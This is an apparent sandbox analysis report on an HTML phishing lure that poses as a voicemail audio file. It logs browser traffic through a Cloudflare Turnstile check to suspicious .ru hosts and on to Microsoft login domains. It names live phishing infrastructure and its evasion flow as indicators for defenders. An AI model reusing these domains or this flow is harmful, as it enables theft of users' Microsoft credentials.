Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ko.komirath.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/849bfe45bf45/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ko.komirath.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/849bfe45bf45/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ko.komirath.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8fed80f51d3e0f6d&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ko.komirath.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ko.komirath.ru/1jVVShGI/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImZyWlJNSGZmczc3UnRXQ3p6YmVySWc9PSIsInZhbHVlIjoiWWg0WmxPVis5VWZlbnU3YmIwc0dSY2NtL1hGVFZQMGwrUXREdnNxUFN2dHBsUzFyWXRvZUlGeTVseC9zV2VHQkoySW1INmdCNzZqcmRXZU91bmQ1ejRNSk1aQ0JzQlNBUnZPRUJVdGNHdmdKcUwxNmRIY3hiVjhQU1VlRngyUWoiLCJtYWMiOiI4OGYyN2UwNzM0MWU5N2FkMTM0OTMxMzIyMmU3ZTg2MDhmOWJiNzYxMmVhYThlNDZkZDQ4MWUyZGY4YTRlZjlkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNlSnlPeG1UUFFQdU5udzArbzNWb2c9PSIsInZhbHVlIjoidEthdGhBdWVZN0R5VXN6OG1LbVVaV2VqTW1PdHhFM1B0dG45dmEranJYMFoxaU8rcGU0azhVYUEwNUFOVGQ2L3ZoV3BPbkU2S21yV1dZM2lFRjFsUkRhUGQrZjI0VVk5YWUxVmJwVlZhSWNFbHNJTnpLcTlNaG1kcmIvMGVBY3UiLCJtYWMiOiI5NDliYzc3ZDczNzFiMTFiYTA0OTEzMGFhNWQwM2U4MDRkNDliYzg2YzVjNWYxOTM4MzkzY2Q0MzA0ODExYjNlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8fed80f51d3e0f6d&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2121245505:1736350454:XaaFGa2gl00L65yPyfN5s_sZeyI1mNPcSR3VSd9-Oqc/8fed80f51d3e0f6d/amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHH HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8fed80f51d3e0f6d/1736353110853/VkuISg1nVdIHrU2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8fed80f51d3e0f6d/1736353110853/VkuISg1nVdIHrU2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8fed80f51d3e0f6d/1736353110853/fd70a9f8387cee2195dec1e65241da506a11cc999e612504f6ce0b93e0d569c5/Gfi2UDErHN3VTl7 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2121245505:1736350454:XaaFGa2gl00L65yPyfN5s_sZeyI1mNPcSR3VSd9-Oqc/8fed80f51d3e0f6d/amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHH HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2121245505:1736350454:XaaFGa2gl00L65yPyfN5s_sZeyI1mNPcSR3VSd9-Oqc/8fed80f51d3e0f6d/amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHH HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /FXUlHfBCTswoYClXnVBsEvsBqlkNEYVCLNNXNHYSQNLZCMMECDEYJPEIIFNOALYZPLRTPRWHNMWP HTTP/1.1Host: f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://ko.komirath.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ko.komirath.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /FXUlHfBCTswoYClXnVBsEvsBqlkNEYVCLNNXNHYSQNLZCMMECDEYJPEIIFNOALYZPLRTPRWHNMWP HTTP/1.1Host: f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: ecohomethings.net
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: ko.komirath.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: www.office.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/2121245505:1736350454:XaaFGa2gl00L65yPyfN5s_sZeyI1mNPcSR3VSd9-Oqc/8fed80f51d3e0f6d/amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHH HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3188sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHHsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 08 Jan 2025 16:18:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LAqZAjRx%2Ft00S%2BhvUqK47ennzMZV3UiPaUC2C%2B4zrFk0QllE6XUhUM0d1qkKcJkLBR0urO%2BuUGFO9PGerk%2FI59FM2Ljsske%2FnzaJ9jWQscSmue%2FfyKGq6Py1eRDS%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=4916&min_rtt=4911&rtt_var=1852&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=2099&delivery_rate=575121&cwnd=244&unsent_bytes=0&cid=0b80fa793cee22e6&ts=171&x=0"CF-Cache-Status: HITAge: 13207Server: cloudflareCF-RAY: 8fed80fb0e0e4244-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=2276&min_rtt=2270&rtt_var=855&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1894&delivery_rate=1286343&cwnd=221&unsent_bytes=0&cid=dd75a7d912c8a40b&ts=3576&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 08 Jan 2025 16:18:32 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 3kJiqKM+kzpzbqq74QP4J8RO6rBeOUVShqE=$B3Q3qs9L7HVBZgTtServer: cloudflareCF-RAY: 8fed81064e6e43bc-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 08 Jan 2025 16:18:35 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: itsJbLtqcSUWpJBPkbk/PwZnvpmMU5Ac+WY=$eDGZAkZ9PBp2AxTTcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8fed811bef5f0f7b-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 08 Jan 2025 16:19:10 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 28v6jNEVVg0N9UGVTyIUgdCYv0Odl57BBoo=$hxdufa2ICyBDUlGzServer: cloudflareCF-RAY: 8fed81f71e7cc47a-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_103.2.dr, chromecache_107.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: chromecache_100.2.dr, chromecache_91.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_100.2.dr, chromecache_91.2.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443

System Summary

HTML document with suspicious name

Source: Name includes: Play_VM-NowAccountingAudiowav011.html

Initial sample: play

Source: classification engine

Classification label: mal64.phis.evad.winHTML@19/80@40/14

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Play_VM-NowAccountingAudiowav011.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1856,i,4395295894510598128,5928526936664800396,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1856,i,4395295894510598128,5928526936664800396,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
